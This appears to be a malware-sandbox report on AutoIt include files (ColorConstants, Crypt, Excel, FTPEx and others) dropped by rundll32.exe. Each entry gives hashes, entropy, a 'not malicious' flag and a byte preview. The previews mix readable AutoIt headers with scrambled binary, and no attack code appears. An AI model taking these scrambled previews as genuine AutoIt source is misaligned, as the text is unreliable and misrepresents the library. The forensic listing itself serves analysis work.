Preview:	{..F;..S.....A.g..2.....3.Ue5t..z......?.....5....sf$...1..p2-====================================================================================================================..; Title ..v...y.......u>.`.....3..E.fc(t&...J..I.}...m..t....2"..G.qm50English..; Description ...: Functions that assist with color management...; Author(s) .....: Ultima, Jon, Jpm..; ===============e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nxP...T.bp2-================================================....; #CONSTANTS# ==============================================================e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nHg.....3mL.nst $__COLORCONSTANTS_HMAX = 360..Global Const $__COLORCONSTANTS_SLMAX = 100..Global Const $__COLORCONSTANTS_RGBMAX = 255..; ===e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nxP...T.bp2-============================================================....; #CURRENT# ====================================================e...j.....Z'q:W..f...G...)-\|&u...D..Z.

C:\Program Files (x86)\AutoIt3\Include\ColorConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12870
Entropy (8bit):	6.6968601298502435
Encrypted:	false
SSDEEP:	192:bo2rVNIkGKM5IJ7GA8GDnIY1JNeEM8uN6IBYUKmzKqaLY3IXKl9rS:bxKZ5gX8ynJ1JI70rqKqe+Tl9O
MD5:	0BF966E688E05253ECF1C39B929D11B6
SHA1:	2DACCD82024E3289238DA84204766D5A6959D107
SHA-256:	0887631A465A0FB3FA27A66A540A6D2D4F19062FF3AA94233AB939D9D15C953E
SHA-512:	A5AF2DF31C88F8592004A059B8BA3707F38E81E23F098FE0102321195FD4D5D2F641D6813417B3314C74D63768B2B86ECC6AF5E267EA7EE09306EC4F51AEED52
Malicious:	false
Preview:	SQ.M.....0.Z......-..tP..R.!..LK..0/s.....:n..Fm6>C...>:..&G==================================================================================..; Title .........: Constants..; AutoIt Versi.V......n..Y..+..`..Qr.A.2..KV..a{=..9.3.b ... .j..-)..X.nstants to be included in an AutoIt v3 script...; Author(s) .....: JLandes, Nutster, CyberSlug, Holger, Jpm .....; =============M.......b..U...6..3...(...R.!..LK..0/s.....:n..Fm6>C...>:..&G==================================================....; #CONSTANTS# ============================================================M.......b..U...6..3...(...R.!..LK..0/s.....:n..Fm6>C....<..o.ndard W3C colors https://www.w3.org/TR/css-color-3/#svg-color....; Color Constants RGB Hex..Global Const $COLOR_ALICEBLUE = 0xF06..h...=.UH.O.x....\|Z...!.U..4!..H2s.K.R.E...q.gl...@h.oZ$COLOR_AQUA = 0x00FFFF..Global Const $COLOR_AQUAMARINE = 0x7FFFD4..Global Const $COLOR_AZURE = 0xF0FFFF..Global Const $COLOR_BEI7}........}+..g..o..sz...O._..>$...^C.

C:\Program Files (x86)\AutoIt3\Include\ComboConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8085
Entropy (8bit):	6.7907548559256075
Encrypted:	false
SSDEEP:	192:GIK+fUP5CKHQ5STi0s1HcZ1SkCICWpvvvm1uZS:GIy5vQ5S20s18Z8Tovvv2uE
MD5:	C972757B09998DE8B0F6D8A1A054322D
SHA1:	EBB5143973A0D13F0F4A6B887AEE120D0658C9FD
SHA-256:	308D0BB86CB85EC58E013A7709BD5A28EB1323542FD9218B96373EB62538BCAD
SHA-512:	CAD4772A2F0249B370105E9B78181C94CDC2FED99831F6A685BF74D9DFA49F2C7178BA936EB6C663CE4203B54321F81F2EA27953F9A8EF453B1182FA8E80BA6E
Malicious:	false
Preview:	.7.Kl...Z....E.l...mG/h......G..p.fy9mS...H.(.VI.X.G.8..$Z==================================================================================..; Title .........: ComboBox_Constants..; Aut....V....Z...6\|.U....8f'x....A...c.uj*~T.v....f.f~.E.....l\Ep.n ...: Constants for <a href="../appendix/GUIStyles.htm#Combo">GUI control Combo styles</a> and more...; Author(s) .....: Valik,...Zy...F..-o.[....4V.~.......G..p.fy9mS...H.(.VI.X.G.8..$Z==============================================================================....; #CONSTANTS# ================================.c..=.....W.+r.[....4V.~.......G..p.fy9mS...H.(.VI.X.G.8..$Z===================..; Error checking..Global Const $CB_ERR = -1..Global Const $CB_ERRATTRIBUTE = -3..Global Const $CB_ERRREQUIR.... ....r...w#.%.VP)On......a9..p.vv.Z).\....V....E..8..Nmh9Z 0....; States..Global Const $STATE_SYSTEM_INVISIBLE = 0x8000..Global Const $STATE_SYSTEM_PRESSED = 0x8....; ComboBox Styles..Gl.<.D ..AJ..T..'.jlZ(........XN..v..1p

C:\Program Files (x86)\AutoIt3\Include\Constants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.807284171995969
Encrypted:	false
SSDEEP:	96:arH9eop3aiiKRimwo7DKAGEaZ1+D72E9joJLxMV6wyMv5EXDiOqQtS:arkblAKAG2DyE9cJLyVPGXpqCS
MD5:	BE3DF3F9F87EC7C9F4AED28B8B29B6AC
SHA1:	77DC6BBACA61DF41D2AB733BCDD12F07ACAE63B5
SHA-256:	BD6F70F9A24884D7BE7D681B4500FED5415FC906D418DEF824E69B236BB862F1
SHA-512:	7AD16F07602E52723A0D872E05F4B3E325AF30AB9DBD4FF23BCAC27A0FF561AE8A051446A944FF484389DC3108240C3B35E02BD14DA3AAF7914B1E2FA0F5DEBA
Malicious:	false
Preview:	...".[i.cs..OX......}2....F..@Z%hm.....V..2Ba.....z.....<...8e..2.Oc.=2p..w......r+.....n..@}"_c...G.W..^=qG.}P.p.O...p...>G..2.Ox.l...C;......<......D..\g0Ev.......p^<M.kX.4G?...y....9R..5..l.}>...<.p...>\|.....`(.A`%Jl........Y.;@.rI.qEM...e...+H..o.[>.C....u.Z...=~.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..X.(...r;.]..)E..=k.A.....L..^=i..kH.].O...o.....j...o..#.C.*.f4.t....>p.]..=K.At=Bq...R.f..0E;^.wS.4KA.._...$R..5..o.nu..F .v....>?.S...h"..eb.q........h..[.vS.<.F..2.....G..$..-.;hb.O'.3...l.....O..Hv#."...d....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....^=i..]s6G1....?.....w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o#.%.+q.....y.....)I..%..l.+<d.O1.z....{~.....'..K3!Bz.....L..:X<]...X}.O...s....9R..5..l.}... n.@..v1.S...h...r#N".....

C:\Program Files (x86)\AutoIt3\Include\Crypt.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27575
Entropy (8bit):	6.58367198129064
Encrypted:	false
SSDEEP:	768:w8Y/wJWazC5/tPOqliL9XP8wM1+ByCGCorll5ondpwdP:7Y+fU5Vu/8jUwdP
MD5:	808C9A3F55F8C6AB920B6655DA4E079F
SHA1:	B2BCF0ACC80753404C22B5A780E0EA225623C1FE
SHA-256:	23A5A4DD4641AC6C51A54B9A7CE5305793DDFD304A33E4C509016F737C68F233
SHA-512:	8AB15F510435C92DE5ADE542BBFA0471BA842F92950DF80D5AA4B5B9DEFCD8890B1E5461C1BF5C86C31223B32EA5F0FFA88F8DDC2D88F0BB5974509FB432D14E
Malicious:	false
Preview:	$....GJ.@4n...........x..s..5..0=,.:...A{. ...V.&((+.I^aU$..5trror.au3"....; #INDEX# =========================================================================================================:..K....Pf=.2x.......<....w.tqi..)...*5.C...v.e.8=...X.p..R..16.1..; Language ......: English..; Description ...: Functions for encrypting and hashing data...; Author(s) .....: Andreas Kark........5o..}..........q..5.)vsq.u.....4.C...O.vvs+..q<.j..A.===========================================================================================================================....;'.#.`k.9x .2H......!.l.d.gbnb.f.....3.?....xy`r.TA..w..A.================================================================..; _Crypt_DecryptData..; _Crypt_DecryptFile..; _Crypt_DeriveKey...V.q\../_..\|.......'.....)...=<."....To....\|.<4)....DE:...]e..; _Crypt_GenRandom..; _Crypt_HashData..; _Crypt_HashFile..; _Crypt_Shutdown..; _Crypt_Startup..; ============================:..K....Pf=.2H......!.l.d.gbnb.f...

C:\Program Files (x86)\AutoIt3\Include\Date.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	86394
Entropy (8bit):	6.425729971371675
Encrypted:	false
SSDEEP:	1536:fPGxXESMEFms/y0YjPecvQhOlst5JOL+/VD3Ype098r:6RFJ/y0YjG9hVMp598r
MD5:	1365F43590D3031F3C76E3614BBFFC7C
SHA1:	DEE5914460640E866E96583E47E43E28A04394AB
SHA-256:	CEF683B6EDE149B71D7AC40769080766D9C140AE2FD96C6A45D7CFEE3DDC8EE6
SHA-512:	7E58201D7A67E7C9AB42AD530824924105A2E0AD626B91CFC76DF22DFA88DECAB54B9B005F07410A8B38522B7DFF4756AD1631E333C67061ED88873EA97E9411
Malicious:	false
Preview:	-.4/&V.5.7.E.YR .....9X..X......bF.@.e....Z..!..m*. .^..[^.MsY.ory.au3"..#include "Security.au3"..#include "StructureConstants.au3"..#include "WinAPIError.au3"..#include "WinAPIHObj.au3"..#inm./(/....6.v..7Nz..J......wS.+V..Kf..I+D.H....i..]..t.......R...=============================================================================================..; Title .........: Date..; AutoIt./?>9J.>.b...gv.-..i.Xlp...,.l...!...G,Y...E.<..[..,.^..OOB.P....: Functions that assist with Date/Time management...; There are five time formats: System, File, Local, MS-DO]Y;"...9.<.Q.zx.O.....)P...=.m...{J.A.6....[..t..E.i.S.....O... one of these formats. You can also use the time functions to convert between time formats for ease of..; .Yzlj..p.x...txNt.....?S...7.+....O.Vd.B.4.].&..I..g.....qO.\|..jlandes, exodius, PaulIA, Tuape, SlimShady, GaryFrost, /dev/null, Marc..; ======================================================3Dgqw..m.e...ie.&..Y.^q...Gd.6H.2...T+D

C:\Program Files (x86)\AutoIt3\Include\DateTimeConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7368
Entropy (8bit):	6.77560532363213
Encrypted:	false
SSDEEP:	192:YGSbMbzMkDQuOTsGzPBExb4qZn6pn1DcS:YDbkzMkCdPgb46w1D3
MD5:	025836B4F651AF53FA8C7FAA99A474E1
SHA1:	DA8DBF67DD4EA66EC652C90DBBB56E3A3CA61724
SHA-256:	EFAC26EA98BBF804FF25CAAD615E7CE481EB96FFFA3E15571106CE091C5CAB7F
SHA-512:	5640CF88B98507FE906D38EC26BBDCD209E57F7C28A6DE4FD91C83173840EBCFB244AB3BFFEF8C8B2968F4079B8A92B7305FB056DBE6ECF5CAFD254500B2B17D
Malicious:	false
Preview:	....p._.q\|..p(].[n`.7..$....1.f).NI...]9c.U0.n..s+2..(G.[.l.==================================================================================..; Title .........: DateTime_Constants..; Aut.....`.IFq\|..].~.J{..~..'...Gy.<q..]Z...Z$...a. .8D-/.Gf.....8.n ...: Constants for <a href="../appendix/GUIStyles.htm#Date">GUI control Date styles</a> and much more...; Author(s) .....: Val....d.C.X`.../Z.Fp..N..:....1.f).NI...]9c.U0.n..s+2..(G.[.l.=================================================================================....; #CONSTANTS# =============================....8...#/..@.m.Fp..N..:....1.f).NI...]9c.U0.n..s+2..(G.[.l.======================..; Date..Global Const $DTS_SHORTDATEFORMAT = 0..Global Const $DTS_UPDOWN = 1..Global Const $DTS_SHOWNONE ....B.UM.~...L#.._.}.,..I...tI..F..'T...m....o.?.v!x\|6.1>..9...EFORMAT = 9..Global Const $DTS_RIGHTALIGN = 32..Global Const $DTS_SHORTDATECENTURYFORMAT = 0x0000000C ; The year is a four-digit.....a.0hr}........9..7..X...cM..U..6T..

C:\Program Files (x86)\AutoIt3\Include\Debug.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29607
Entropy (8bit):	6.607416226417564
Encrypted:	false
SSDEEP:	384:B7/muBTY/WbGmWF6WWKvyP5lH+TfIKcrexp6vx3CTgu1LohSmbaAeOeADN0:hCmNnof50zvJm5+rNR2
MD5:	079ACDC953C6C20CEC132F1902654565
SHA1:	E535CA99D5DBC2CF90E33D7CC97B77DDA5A4DB70
SHA-256:	2B2D45A4D2E61932E7AA32B429C628B2C04B1287C6814735A55EB9BC5FF2B778
SHA-512:	06CF665630630EEED3D169FDC0163E6AE0E5DB90D5C438DD31AA3F8AE37A29D72C0985FC2A6B0F6CE4C7D5A2DD96D4DAE01FDF3B7A7C1A2C2E35079908616F2A
Malicious:	false
Preview:	8....}.?.T.u...\k.\...=.\../.....>.....b...RSnI....1..2.-d."AutoItConstants.au3"..#include "MsgBoxConstants.au3"..#include "SendMessage.au3"..#include "StringConstants.au3"..#include "WinZ....z.(.Z.%...\k......a..ST....jW..C...g...2..........l.e=..==================================================================================..; Title .........: Debug..; AutoIt Version :;..9.t.6u-...?..T...f....@S....;...s.....S^}L..........6c..ons to help script debugging...; Author(s) .....: Nutster, Jpm, Valik, guinness, water..; ======================================&....5.g..B+...l\....u....ST....jW..C...g...2..........l.e=..=========================....; #CONSTANTS# =====================================================================================&....5.g..B+...l\....u....ST....;.....h.4.T.+z....T..8.<o..ext_Debug = "Debug Window hidden text"..Global Const $__g_sReportCallBack_DebugReport_Debug = _DebugReport..; ==================&....5.g..B+...l\....u....ST....jW..C..

C:\Program Files (x86)\AutoIt3\Include\DirConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	7.3760259179006935
Encrypted:	false
SSDEEP:	24:hxISt25ISt2Bj3VwEUdQt25ISt25ITISt25IZlS7BdocD3Kg7ZeB25ISt25IVDOl:/Ii2IiEVbUy2Ii2ITIi2IZlW11162Iie
MD5:	78EC672DEBB6962A45F5E545CC4D833B
SHA1:	3D5278316F155B86599B91C832CA67DCAE786E98
SHA-256:	1761A4E1F6B82EB35D465996F4162C7F02CE605745559FCBBB3F00F851108CF3
SHA-512:	BC969AB4BBD9902F23DEB9DC8917125AB30CC64B76576610F8E8B784B4F9403BDF13E1E21F7BDC30FA502A36909AAF240337CD65728BB5695F1BD4A80F538741
Malicious:	false
Preview:	.5L..8.....g.M..+.g.....H$.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-(N....=.a.[WE.....\|.....@?.Ua.r.9...6.\.N.......Q..#....,.q.../.......eW.YE.....h.p...v..6.B3+(.hbd.i.U.....\|a..>.....v.g..0L...,.$Y.Y.....=.A...?..I{.gO:.n~-.n.T....:W..9......g..dM+...iE.[WQ.j..9.....f\.I}.gCm.%>..&.......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .0.......l........?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......0M..!....."....Od......K9.E.[.....`.8.!.p..W2:\|.>.+4I.Q.~.......{.m......2.v...b(...i(k^..K.x....\|.#.?A..jI#_}.; =...V.....3L..m....Z....Ys....1[4.EA[.....>.W...\..HfY7+..TXD.Y.t.....l..}....m.&.SJ..../Ho'<.s..r...../L.."I"bG.g.o.q.y.......f.........V.g.. ]t...y[4=.>..^.....[...;8.wM*J<..F00.-.......h/.m....?.z..-.y....tV9.HDV.....o...

C:\Program Files (x86)\AutoIt3\Include\EditConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5148
Entropy (8bit):	7.883703916172598
Encrypted:	false
SSDEEP:	96:ckAkme+jkAknAk7vggFOOQ/2QPEaWELfEBztT2EFts9M9lJNtY8zqJ8pbQQp/YAa:cX4OXLWEZ2QPjWELfuhSEO2XfYYnpbQj
MD5:	BEE1DB46FE9D8FAB77BD48A328FE72C7
SHA1:	5DB7696B0F6D8F179F2EE1B60D993E33A4F0EC11
SHA-256:	B504B3028DC2586E0E8105C5DB9A85E8BD74E501A5C8736FBBBED2B44ABCCEC7
SHA-512:	B2B9597C20CC01C48D401A488ADB02D93C3A98F00A8D87642E016F7A7A6182AA6EF2122959D3EB78AA3D237726671F6E1B6FE664CF83DC86967D67E05166BA26
Malicious:	false
Preview:	9}P\..q.... ..p.^u...6.....3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is. ..&.'... .B...f-.."g..`...a.....s....9...LqLL..{..aCm.K?z.. ..>.=..i..B...f-.."m..V.........!....8..4.....}..'Ma.Uh$>.D......z.....O<n...j......2.......h....y..Ao`.L..y..}_"..g0n._.R.<...m....BI<p..m8N.J..`..GI..f.U.7..Z64y^..5....7.T'zC....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is......h...A..8.ms. ..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n........FTE....a......a..J,......U.v.;]xQ]..5../.7.?Z...d. .n........BKh@...wN.z..[.:I..E....4...Y{PL..1...=...3E......F.Y..l..L.LI;w.."P1.o..Q.+I..E....4...Y{PL..1...<...(J......C.^..a....`H&p..CF=.o...E.I..z.2.9..]:WQQ..5.../...5_...e..R.s........BKh@...wN.z..G.&:......H.g.<.SRP..y....0..^L...e.6.....3.Y..-.o...

C:\Program Files (x86)\AutoIt3\Include\EventLog.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31421
Entropy (8bit):	6.517495789864597
Encrypted:	false
SSDEEP:	768:GlLnIVFMzJLNS++FZMbIZ7qLGRMsoHa/QsJCRefBUwILAqtWTedNh0rUgzfyN6+6:GZnIVFMdNS+YMkZFRMsoHuJC+BqtWTMC
MD5:	C868F2EB25D67372E7005871CBD505A0
SHA1:	9278742C0847510DF20A86DCCA5086916C3D476B
SHA-256:	4D3054618DC983FED9D7700BDD8A357337869BEF2F64F4CC1BE08273587C16DE
SHA-512:	2A7162A75A643489298B92F2784BC40F5FAB2F5841AB6CC831F809F9E9F74CCD2AB30435D7CD8BFA0AF1B48DFC5F982DF1B881EE7607775994CE2EB23E0DA308
Malicious:	false
Preview:	S.y)o]..7IK..h....vqz.....M.;....0..J.i.....9E....l....pN.r.include "StructureConstants.au3"..#include "WinAPIError.au3"..#include "WinAPIRes.au3"..#include "WinAPISys.au3"....; #INDEX# ==M..'x'....d...1X...( 2J.......(........Y7.....&+...8^\...~Q.E.=====================================================..; Title .........: Event_Log..; AutoIt Version : 3.3.16.1..; Language ...^.. e_W...B#.7E..gt........./...^..L.y....C;w..qC6..,..X.ystem logs...; Description ...: When an error occurs, the system administrator or support technicians must determine what cause...n-....+E\..o...5=/W.......5...I..N.~....E~u....%...,..X.ata, and prevent the error from recurring. It is helpful if applications, the..; operating system, and othe...c6n\..<XX.o....vr}.....K.t...K..W......ze....(....:L...ditions or excessive..; attempts to access a disk. Then the system administrator can use the event log toP...)j...-O\.e....}\|{z.......5........

C:\Program Files (x86)\AutoIt3\Include\Excel.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57934
Entropy (8bit):	6.655614334137395
Encrypted:	false
SSDEEP:	1536:8gxmgtNgKC/onq3XXRBpbOpEbYrQrTr7mp1ZU6+QlrO999gIyVduYGe3sp4L:HxmgDQ/onq3XXRBpbOKbYrQrTXmp1ZUA
MD5:	DC33D5D0665D95B82675A713C7F24DC9
SHA1:	5D7A19D62A2C056449C277734A2E310C172D10DE
SHA-256:	72A2E5449F3627CFFDF7924E12D795EA9D84936301DB2F0F7A7566B0AB8464BF
SHA-512:	9DF0363B2632660A2C49037114B237A181C3049EAD7A9E92C779EF1F4355827A4056161AAAD5915ADC3979C2DE35F12336ACFC74CA14107A1DE2FF5D69D864E9
Malicious:	false
Preview:	f\....8...`._..3$...Y.^.:.\..'...iv.X...&#...l...............3"....Global $LastExcelCOMErroDesc = ""....; #INDEX# ===========================================================================x.....`.H.>.o..gw..Y..C.FH.rZ4...vF.F.B..nz.........L.^^.R...O Microsoft Excel Function Library..; AutoIt Version : 3.3.14.5..; Language ......: English..; Description ...: A collection of f0[........q.3p[?9...Z....UC..`..*...._..05...O.............N Author(s) .....: SEO (Locodarwin), DaLiMan, Stanley Lim, MikeOsdx, MRDev, big_daddy, PsaltyDS, litlmike, water, spiff59, golfin-@...0C../..^`vj...O...[.O!.`...Fq.[...&5..........o.KP.A...H=========================================================================================================================....; #.`.....~.H.>.o..gw..Y..C.FH.rZ4...vF.F.B..nz........._.MM.A...H==============================================================..; _Excel_Open..; _Excel_Close..; _Excel_BookAttach..; _Excel_Boo.v.....W.U.F.1vT.....q...v..o8L..'$....

C:\Program Files (x86)\AutoIt3\Include\ExcelConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19931
Entropy (8bit):	6.6291235418324925
Encrypted:	false
SSDEEP:	384:aW89CrlVwifw0lg5q/MIVIrpFl06Q3U2NdpcHFtCS+e/aveGL:6QDwifn4pFlhQ3U2piDJPGL
MD5:	9F2941BF7361A293C55721B4B03E5722
SHA1:	71C6ACFFE0F7F82FF6B2B3C3DE281759F39DD24C
SHA-256:	9FCD357A8E1D43C9161171B1C3282ED0DEBB33B321BBB62DD192B85EDA8B595D
SHA-512:	6DD95F87F60B88479B4357CCC43298C17EAF55736D49DFA74A90D3F18B3560B9C677427FFE2A7AB980F6A332BDC71A6216F2488D8868624F18BC2E7EF4FB4856
Malicious:	false
Preview:	q.a;H..W.......#CF...!jN..i.v../...\.....\|{Xh[.7?Gh....s.....==================================================================================..; Title .........: ExcelConstants..; AutoIt ..}+M...Z....gH...Obj.M<.,C.<...O..R.-/.=k.1">0.O.>...D...: Constants to be included in an AutoIt script when using the Excel UDF...; Author(s) .....: water..; Resources .....: Excel 20c./.J..W........i....U.$.Y-.eK.q.......S.n#.x..%n.7.O.a......5(v=office.14).aspx..; =========================================================================================================o.2e.....G....t@..R#.. r.he.\....5.....\|{Xh[.7?Gh....s.....===========================================================================================..; XlAutoFilterOperator Enumeration.r..=G.[.....A9.....\+.Ei.8C.f......].$f."..ip.!.T.n...F..S by a filter...; See: http://msdn.microsoft.com/en-us/library/ff839625(v=office.14).aspx..Global Const $xlAnd = 1 ; Logical AND =./.V.W.......Ji>....\b..D..J.p......

C:\Program Files (x86)\AutoIt3\Include\FTPEx.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	46540
Entropy (8bit):	6.653169166461053
Encrypted:	false
SSDEEP:	768:63tvQ+SXsLsatLwAM+rcb6Bejj24hNREKMU:6JQ+eyEAM+rcVjj24qW
MD5:	B81E47AA23E77DE7882488C258DFB706
SHA1:	3CA0334C097FB4585F5F3334E5C4A74C9620E38B
SHA-256:	EF71A91ECBBD0716F12D3D96F3ED27BA077959983A65F2360523A52C12EDF9AF
SHA-512:	F2B73EE2B512CD797DB8BF81DBF2C07E7949FB32DDE0B74C04022D0D2C5D0FEBD5D4C71C03D83DA2213D90D3493A1235F5F6F4A4E820B281CF0D741B8F10D5C9
Malicious:	false
Preview:	...{j...f.[+l.=S...}.../R$w......].zK.\|...K.<.1...nu...0.E.3"..#include "StructureConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"....; #INDEX# ======================...%;...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P=================================..; Title .........: FTP..; AutoIt Version : 3.3.16.1..; Language ......: English..; Descriptio..6(...>.V<`.Y-..r....9.uG....I.+.^ec).".[.s._..I.4........P.r, Prog@ndy, jpm, Beege..; Notes .........: based on FTP_Ex.au3 16/02/2009 http://www.autoit.de/index.php?page=Thread&postID=483....=...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P=====================================================================....; #VARIABLES# =========================================...%;...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P==========..Global $__g_hWinInet_FTP = -1..Global $__g_hCallback_FTP, $__g_bCallback_FTP = False..; ============================...%;...v..u4-.c......wO;.....T.B.MUT

C:\Program Files (x86)\AutoIt3\Include\File.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44443
Entropy (8bit):	6.719525984977027
Encrypted:	false
SSDEEP:	768:3PJkHkvVJxN7FZbfIJ5EhNmSlR2YXehkPzYTPZ6sEOvkBF6VW25t0:fOEvVfHZbfIJ5EhZWmLkaOMSVW2L0
MD5:	87B9242AAC4C05B09A2CEF1F6B8FA832
SHA1:	F98E16B3775F87BF13C6902EAD733418E6CD314A
SHA-256:	A2434469264CA3BDC24D16D7E86575F28C4DD1F2D16BAD2FE375C1B5EF3DDEF8
SHA-512:	7344A9D06FBEB353C8EB0A39A87CAC421A08A2695437DE5F4B052B9C52CB3C103F010BBFDC4EC98021D99D6DF0A5DB62A98E50E15A5D1D45C271C3751A2AA9F3
Malicious:	false
Preview:	~...^Ra.s.R.....t..2..f4G...{-#.f..D..N...i..8..$....!.;..."d..u3"..#include "StringConstants.au3"....; #INDEX# ===============================================================================`.,...8.c......C.UaKP.m...4b..uX.J..y...%..)..B.G.`Ef...vQ.e..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with files and directories.P..sRq.1.....P.FfV/a9C...l:,.dE....%....l..)..B..../. ...9y..JdeB, Jeremy Landes, MrCreatoR, cdkid, Valik, Erik Pilsits, Kurt, Dale, guinness, DXRW4E, Melba23..; ===========================`.,...8.c......C.UaKP.m...4b..uX.J..y....8..`.._.T.sVu...k..====================================....; #CURRENT# ============================================================================`.,...8.c......C.UaKP.m...4b..uX.J..y....>..........:'!...[..._FileCreate..; _FileListToArray..; _FileListToArrayRec..; _FilePrint..; _FileReadToArray..; _FileWriteFromArray..; _FileWriteLogP.*.mal.;.N...2..9{g(p}...a.7.$h.L....

C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7048
Entropy (8bit):	6.837900622523225
Encrypted:	false
SSDEEP:	96:gHV0fBSOTdEBpJep7W7dYqjO4YBnzoyS3sxuCnWtKT6YtAO4j76f+p/S:omfB3GBpwxYdYqhwzYsxlTYwf+tS
MD5:	5C36918E855ED06840D57A60E45339BE
SHA1:	8FB755F505C42452257C40E8D61A237945008403
SHA-256:	B54F6A564E01408884DC7B10ABD33DFFEC8820981860E46E7464F72485D1BB18
SHA-512:	FFB383BB093DA17B6103D41935DA47A879F3D62CE57BE0B4654D6FBEFB39E0D74A4BA1286E7E4362599AADC8DB81F7D8F59BD162FF92CE97CD0CC165B1E30A6D
Malicious:	false
Preview:	1../.D...9.V.N../.....G.S.ww.......P.'..'..v....G^..#....$..:==================================================================================..; Title .........: File_Constants..; AutoIt D..?.^..v...m........c...+-.........M.t.Ns.F........w.^..w..).: Constants to be included in an AutoIt v3 script when using File functions...; Author(s) .....: Valik, Gary Frost, .....; ====/.Kq]....k...~.........?.M.ww.......P.'..'..v....G^..#....$..:===========================================================....; #CONSTANTS# ===================================================/.Kq]....k...~.........?.M.ww.......P.'..'..v....G^..#....$..:..; Indicates file copy and install options..Global Const $FC_NOOVERWRITE = 0 ; Do not overwrite existing files (default)..Globa~.5#.B....j...rf.....".P.j..Z..\....s.Vs.k...n..r.H..9..ist $FC_CREATEPATH = 8 ; Create destination directory structure if it doesn't exist....; Indicates file date and time options..Gl}.. @r...".....jp.....".P.jq...Y..I..M.

C:\Program Files (x86)\AutoIt3\Include\FontConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3920
Entropy (8bit):	7.794596670412639
Encrypted:	false
SSDEEP:	96:rIU8u+zCJc7pS/diIZE/9SQK7F39rSei8ISaNpTS:r5QEdlmZK7F3fi8JMpTS
MD5:	F47B1CE38239E0A10F4AC4756C7D89BA
SHA1:	53F2CA7CAC717BE69C5C51C7B0C8F3D00DB8E0F9
SHA-256:	8B6C55F4460E28D5C4668AC78240AB1CF10570C058C826EBF141194CC5582324
SHA-512:	441C0CE6BF62231527C54460A652DC5B9A80BE7FB6F87C8AF9BD2A8EA2A4242E9208CBB92842CFA8827E15EF4BC37B30D4B3A5095B13DFE6A66BB402F6D97BC9
Malicious:	false
Preview:	W.Q.....O_BA.H5..0....S..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x..........;.7Q.....+.i..?9....v.+..g... .<...".M...........s........e..z..9Q.....+.h........7.:.s.A..<.=...Z.....NER...7..}..e..r..jQ......i...S]..9.eRW.Z....<...~.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.2...R..c~ow...k..3....6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T....GK..62......+..u..9[...t.._.G..@G]..P.0.q....;.'...#.k.I.....)..)P......x.?..F:...q..L.R..@HM..P.0.q....;.'...#.j.(.gyu..w.......j.X..j...g..B.N..]ZN....3.r.D..:. 